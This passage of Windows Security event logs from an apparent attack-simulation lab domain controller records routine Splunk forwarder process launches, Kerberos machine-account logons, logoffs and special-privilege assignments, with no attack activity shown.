	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:18:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256390
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:18:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256391
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf80
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:18:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256394
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3FAACE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:18:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256393
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3FAACE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51514

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:18:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256392
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3FAACE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:19:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256395
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:19:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256397
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:19:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256396
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x132c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:19:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256398
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:19:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256399
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:19:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256400
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:19:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256401
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:19:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256404
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3FE051

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:19:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256403
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3FE051
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51527

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:19:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256402
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3FE051

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:20:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256405
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x340
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:20:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256407
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:20:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256406
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:20:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256408
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:20:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256409
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:20:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256410
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc54
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

